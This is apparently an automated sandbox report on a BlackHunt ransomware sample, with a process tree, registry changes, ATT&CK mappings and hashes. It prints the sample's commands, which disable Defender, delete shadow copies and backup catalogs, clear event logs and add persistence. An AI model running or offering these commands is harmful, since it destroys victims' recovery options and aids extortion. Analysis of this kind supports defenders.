PID 2716 wrote to memory of 2780 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 52 PID 2716 wrote to memory of 2780 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 52 PID 2716 wrote to memory of 2780 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 52 PID 2716 wrote to memory of 2980 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 54 PID 2716 wrote to memory of 2980 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 54 PID 2716 wrote to memory of 2980 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 54 PID 2716 wrote to memory of 2980 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 54 PID 2716 wrote to memory of 788 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 55 PID 2716 wrote to memory of 788 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 55 PID 2716 wrote to memory of 788 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 55 PID 2716 wrote to memory of 788 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 55 PID 2716 wrote to memory of 2984 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 56 PID 2716 wrote to memory of 2984 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 56 PID 2716 wrote to memory of 2984 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 56 PID 2716 wrote to memory of 2984 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 56 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe"C:\Users\Admin\AppData\Local\Temp\dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe"1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2716 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵PID:2568
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:1740
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵PID:2576
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵PID:2396
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵PID:2584
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵
- Modifies registry class
PID:1200
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵PID:2616
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2076
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵PID:2636
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:1812
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵PID:1944
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:2368
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵PID:2060
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:2224
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵PID:1924
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:2460
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:2884
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:2420
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵PID:2928
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:1408
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵PID:2924
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:2116
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵PID:2920
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:1404
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:2780
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:1912
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:2980
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:1124
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:788
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:1516
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:2984
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:1168
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:1856
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:2384
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:1076
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:2292
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:1928
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:888
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:1704
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:1728
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:2216
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:1152
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:1212
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:1080
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:2144
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:736
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:836
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:300
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:524
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:1528
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:268
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:340
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:764
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:2308
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:952
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:420
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:1320
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:860
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe" /F2⤵PID:2400
-
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe" /F3⤵
- Creates scheduled task(s)
PID:936
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:3044
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2544
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:2376
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2236
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:1580
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:792
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:2212
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:1048
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:2028
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
- Modifies registry class
PID:2396
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:2100
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:420
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:1708
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:2568
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:1972
-
C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:1124
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:2288
-
C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:2768
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:2488
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:2688
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\2⤵PID:2836
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D F:\3⤵
- Enumerates connected drives
PID:816
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\2⤵PID:624
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D C:\3⤵PID:1320
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\2⤵PID:2288
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D M:\3⤵
- Enumerates connected drives
PID:2040
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup2⤵PID:660
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Setup3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3064
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System2⤵PID:436
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl System3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2952
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application2⤵PID:320
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Application3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2988
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security2⤵PID:3044
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Security3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:788
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false2⤵PID:2572
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Security /e:false3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:1932
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:2944
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:2056
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:2984
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:2120
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:2724
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:2756
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:1560
-
C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:2888
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:1584
-
C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:2168
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:2308
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:2068
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f2⤵PID:1180
-
C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f3⤵PID:2248
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f2⤵PID:1984
-
C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f3⤵PID:1608
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F2⤵PID:2064
-
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Delete /TN "Windows Critical Update" /F3⤵PID:1296
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f2⤵PID:3024
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f3⤵PID:3052
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f2⤵PID:2404
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f3⤵PID:932
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f2⤵PID:2444
-
C:\Windows\system32\taskkill.exetaskkill /IM mshta.exe /f3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2708
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt2⤵PID:2608
-
C:\Windows\system32\notepad.exenotepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt3⤵PID:2316
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta2⤵PID:2792
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"3⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:1660
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe"2⤵
- Deletes itself
PID:2976 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:1792
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2144
-
C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2244
-
C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:2092
-
C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵PID:688
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
4File Deletion
3Modify Registry
5Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD57e5e9fe7a48828c0941765d28c3be111
SHA12a5699d6aa422ff8fc4fc28f09dec58873c69e12
SHA2564aa35436d343d9a3617386401d73fbbedf1b7f1fd680bd7783c5ccc5470a6582
SHA5123ee50123ba8a5af87c9091179357b2cd0d75ae47211e8c18af1c4c99ef38092aaf406660b265d442a3965f7ae0e298c478a7d9f8712392de31ae03c7853f9064
-
Filesize
